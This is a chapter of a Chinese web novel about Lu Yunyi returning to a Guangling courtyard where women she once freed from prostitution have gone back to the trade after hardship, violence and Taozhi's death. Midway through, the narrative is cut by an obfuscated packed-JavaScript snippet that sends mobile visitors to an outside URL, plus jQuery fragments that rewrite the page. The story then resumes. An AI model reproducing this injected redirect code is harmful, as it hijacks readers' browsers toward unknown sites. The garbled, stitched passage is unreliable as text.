三年时间在书中不过翻页一瞬，在人的身上却能换一张脸。一个人能从瘦弱长到结实，也能从鲜活病到枯干；一间院子能从冷清变得热闹，也能从热闹重新跌入死寂里，世上的许多路，初走时都像通向光亮，走着走着，脚底却又踩回原来的坑。
陆云逸再回广陵，是春末。
广陵的春末已经有了暑气。河边柳色深了，码头上的水腥味混着酒气和脂粉香，从一条条窄巷里漫出来。城中还是从前的模样，桥下有乌篷船，街边有卖糖糕的老人，茶楼上有人临窗听曲，年轻的书生摇着扇子，在铺子前同掌柜讨价还价。繁华处依旧繁华，热闹处依旧热闹，仿佛这座城从未因谁的生死多停一刻。
陆云逸牵着马，往城南走去。
她还记得那处宅子的位置。
三年前，她替桃枝一行人赁下这处院子时，门前还有一棵老槐树。树身斜斜倚着墙，夏日枝叶繁密，能遮住半边门檐。院里有一口井，井沿缺了一角，阿盲第一次摸着走过去时，险些被木桶绊倒，桃枝嘴上骂她不看路，骂完又扶着她坐下，替她把鞋上的泥擦干净。
那时候院中忙乱，也有生气。
有人扫地，有人晒衣，有人把旧绣绷架起来，商量着先接些便宜活计。桃枝拿着账册坐在廊下，头发用一根木簪挽着，一边数铜钱，一边说往后再苦，总能把日子往前挪一挪。她说这话时，语气粗粝，眼睛却亮，像真的看见了前头有路。
陆云逸那时信了她。
如今她再走到那棵老槐树下，脚步慢了下来。
门还是那扇门，门漆却重新刷过。原先挂着竹帘的地方换成了红纱，门前悬着两盏褪色的灯笼，白日里没有点，灯皮被风吹得轻轻鼓起，又慢慢瘪下去。门侧添了一块木牌，上头写着“春宜馆”三个字，字迹圆滑，像怕人看不懂这是什么地方。
院门半开，里头传来女子笑声。
那笑声带着见客时惯有的柔软尾音。陆云逸站在门外，看见一个穿鹅黄衫子的女子倚在门边，手里拿一柄团扇，正同路过的男子说话。男子停下脚步，眼神在她身上转了一圈，又朝院里看。女子拿扇子遮住嘴笑，身子微微往门里让。
陆云逸看着那一幕，手指在马缰上收了一下。
那女子也看见了她。
陆云逸如今已不大像从前那个初到广陵的贵公子。她穿一身半旧青衣，袖口因常年骑马赶路磨出毛边，腰间没有多余玉饰，只挂着一只寻常钱袋。脸还是那张脸，岁长了些，肩背也开阔了些，身上那股从京城富贵里养出来的明净气，被风尘压下去许多。
门边女子打量她片刻，笑道：“公子是来喝酒，还是来听曲？”
陆云逸问：“桃枝在吗？”
女子脸上的笑顿了一下。
她没有立刻答话，目光往院里飘去。那一瞬间，院中几个说笑的女子都安静了些，有人从廊下看过来，也有人垂下眼，装作整理裙摆。
女子道：“公子寻桃枝妈妈？”
陆云逸听见“妈妈”两个字，眼神微微动了动。
门里有人问：“阿月，谁在外头？”
那声音比记忆里低了些，也沉了些。
一个女子从堂屋出来，她穿藕色衣裙，发髻梳得齐整，脸上脂粉淡薄，眉眼间有几分熟悉。三年以前，她总跟在桃枝身后，说话不多，遇见生人时会先看桃枝脸色。如今她走路已不再低着头，目光扫过门口时，先是带着管事人的警觉，随后才忽然停住。
账册从她手中滑下来，落在地上。
“公子？”
陆云逸看着她，道：“是我。”
越心匆匆往前走了两步，又在陆云逸面前停住，想行礼，半途又想起这地方不合适。
“公子先进来。”
她说完，回头吩咐院里的人：“今日先不迎客，把门合上。”
院中女子互相看了一眼，没有多问。门被合上时，外头巷子的声音被隔开，院里的脂粉香便显得更重。
这宅子改动很大。
原先摆在院中的绣架不见了，井边晾衣的竹竿也撤了，廊下挂着几幅轻纱，风一吹便贴到柱子上。前堂被收拾成待客的地方，桌上有酒壶、骰盅和果碟，墙边立着琵琶和小鼓。原本几间住人的屋子，有的换了新窗纸，有的门帘垂得很低，帘后隐约有香粉和酒的气味。
这仍是那处宅子。
井沿缺的一角还在，老槐树的影子还落在院中，东厢窗下那块青砖仍有一道细裂。可那些旧痕迹被红纱和酒气盖住，像一个人换了衣裳与身份，左腕上的旧伤口却仍藏在袖底。
越心把陆云逸领到东厢。
屋里陈设比前堂清淡些。一张榻，一张小几，两只旧木箱。窗台上放着一盆兰草，叶子发黄，盆土却湿着，有人还记得浇水，却救不回枯意。越心倒茶时，手指碰到茶壶，发出一声很轻的响。
“公子什么时候到的广陵？”
“今日。”
“可曾用饭？”
“还没有。”
越心忙道：“我让人去做。”
“不急。”陆云逸看着她，“桃枝呢？”
越心的手停住。
茶水从壶嘴流出来，溢过杯沿，在桌上积了一小片。
“桃枝姐几个月前走了。”
陆云逸没有说话。
越心坐在她对面，指尖捏着那方帕子，低声道：“病走的。”
屋里一时安静下来。
外头有人经过廊下，裙摆扫过门槛，轻纱上的小铜铃响了一下。那声音细细的，像从很远的地方传来。陆云逸端起茶盏，茶水还烫，她却像没有觉出来，只垂眼看着杯中浮起的碎叶。
桃枝死前，这座院子已经撑了太久。
陆云逸离开的头一年，院里的女子是真心想过寻常日子的。她们把能卖的首饰卖掉，换成米粮和针线。会刺绣的接绣坊散活，会烧菜的到食铺帮工，会浆洗的替附近富户洗衣，阿盲眼睛不好，便摸着分线、搓绳，也能挣几个铜钱。
那时候日子苦些，众人仍有盼头。
清晨起来，院中有扫地声和烧水声。夜里回来，有人带一包便宜点心，大家分着吃，每人只能尝一小口，也能笑上半日。桃枝总说，苦日子怕什么，怕的是没有路，如今有了路，慢慢走便是。
可路没她想得那么直。
绣坊嫌她们出身不好，压价压得厉害，一幅花样绣得眼睛发酸，交出去时还要被挑刺。食铺掌柜要人洗碗到深夜，工钱少给，说她们这样的人能有活干便该知足。浆洗衣裳的人家丢了东西，第一句话便是问是不是她们手脚不干净。她们去讨说法，街坊多半关门，衙门口的差役听了几句，挥挥手叫她们回去，莫拿这种小事扰人。
她们不接客了，出门却仍被人认作窑子里出来的女人。卖菜的把菜递过去时，手指故意往腕上蹭。送绣活的路上，有人跟着走两条街。夜里常有人敲门，嘴里说着想喝口水，实则一开门便往院里挤。桃枝拿着柴刀站在门后骂，骂退了一个，过几日又来两个。
院中有人害怕，开始不敢独自出门。
后来出事的是香娘。
香娘去城西送一件赶工的衣裳。那日是白天，她带着两个馒头出门，说回来给阿盲买糖豆。傍晚没回来，桃枝带人找了一夜。第二日清晨，城外芦苇荡里有人发现了她。官府去看过，问了几句话，又问她从前在何处营生。问到最后，案子便轻了。那些差役说她独自出城，本就难说清楚，又说人已经没了，再闹也没有用。
香娘下葬那日，阿盲坐在院里，把那包没有买成的糖豆念了很久。
那以后，院里的活计更难做。
有人被不知道哪里来的家里人找来，先在门口骂她坏了门风，骂完又把她领回去，嫁给一个年纪能做她父亲的鳏夫。有人撑不住，跟了一个做编织的男人，临走前偷偷哭，说至少往后有一口热饭。有人病了，怕花钱，拖着拖着便躺倒了。阿盲的眼睛也是那时坏得更厉害，大夫说要用好药，要连着针灸，药方开出来，桃枝拿在手里看了许久，问能不能把贵的药换掉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598804|203305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>大夫叹气，把方子改了。
药效差了一截，钱仍如流水一样出去。
最先重新接客的是桃枝自己。
她没同院里人商量。旧客找上门时，她把人拦在前堂，只说想喝酒可以，想过夜也行，先把价钱讲清楚。那一夜她回来后，把钱放进匣子里，坐在廊下抽了半宿冷气。越心看见她脸色发白，问她疼不疼，她骂了一句，说疼有什么要紧，米缸里总不能凭空生米。
后来红灯挂起来，前堂摆上酒桌，这处宅子便成了春宜馆。
桃枝做了妈妈。
她和从前那些楼里的妈妈不大一样。院里的钱分得清楚，病了可以歇，客人撒酒发疯便赶出去，新来的女子不愿接，她也不逼。可只要门开着，只要灯挂着，只要男人进来时喊她一声桃枝妈妈，这地方便又成了窑子。桃枝每次听见那两个字，都会笑着应，笑完照样算账，照样陪酒，照样把客人的手从年轻姑娘腰上掰开。
她早年就落过病，□□一直没有好。起初只是身子发沉，后来腰腹常疼，夜里榻上总有腥黄水痕。她怕花钱，不肯好好治，药断断续续喝，疼得厉害时便咬着布巾熬过去。越心和阿盲劝她，她便发脾气，说钱要留给活人用，说自己这条命早不值钱。
几个月前，春寒未退，她烧了一场。
烧到后来，人已经认不大清。她一会儿喊阿盲，一会儿喊香娘，有时又问那位公子有没有来。天快亮时，她清醒了一小会儿，叫越心把床底下那个小包拿出来，说等那位公子回来，就把钱还给他。她说欠人家的东西，活着还不上，死了也得留句话。
说完这句，她便没再睁眼。
越心说到这里，声音已经哑了。
她从怀里取出一个小布包，慢慢放到桌上。布包洗得发白，角上绣着一朵歪斜的桃花，大概是桃枝自己绣的。里面没有多少银钱，几块碎银，一串铜钱，还有两张收得整整齐齐的小额银票。放在陆云逸从前花出去的钱里，连零头也算不上。
越心把布包推过去。
“桃枝姐说，这是还公子的。”
陆云逸看着那只布包，没有动。
越心低着头，道：“我们知道少得可怜。公子当年花的钱，赁宅子的，办事的，给本钱的，都在里头。桃枝姐一直记着。她说若公子回来，看见这里又成了这个样子，心里定然不好受，总得先把钱还一点。”
陆云逸沉默许久，问：“她拿这些钱去看病了吗？”
越心摇头。
陆云逸伸手，把布包推回去。
“留着给阿盲治眼睛。若还有余钱，替桃枝添些香烛。”
越心抬起头，眼里带着惊疑。
“公子不怪我们？”
陆云逸看着她。
越心的脸色比三年前白了些，眼角有细细的纹，唇上胭脂早褪了一半。她这几年大概无数次想过陆云逸回来后的情形，想过他失望，想过他动怒，想过他转身便走。她们当年被救出来时，谁都以为往后会不一样。如今红灯重新挂起，桃枝成了桃枝妈妈，又死在这旧病里，越心自己也坐到了桃枝从前的位置上。
陆云逸道：“是我当年想得不周全。”
越心怔住。
“公子……”
“我以为给你们一点钱，往后便能靠自己活下去。”陆云逸的声音很轻，茶盏里的水汽已经散了，她低头看着那一点冷茶，像在看三年前的自己，“这三年你们能撑到如今，已经不容易。”
越心看着她，眼眶慢慢红了。
她张了张口，想说许多话，最后只能愤慨道：“这世道能换一换就好了，要是能靠正经本事活下去，谁愿意把自己拿出去卖？。”
陆云逸抬眼看向窗外。
院中红纱被风吹起，露出那口缺了一角的井。井边有人小声说话，很快又停住。老槐树的影子斜斜落在地上，春末日光照得人眼发疼。
她没有立刻回答越心的话。
过了很久，她才把那杯冷茶放回桌上。
“是该换一换了。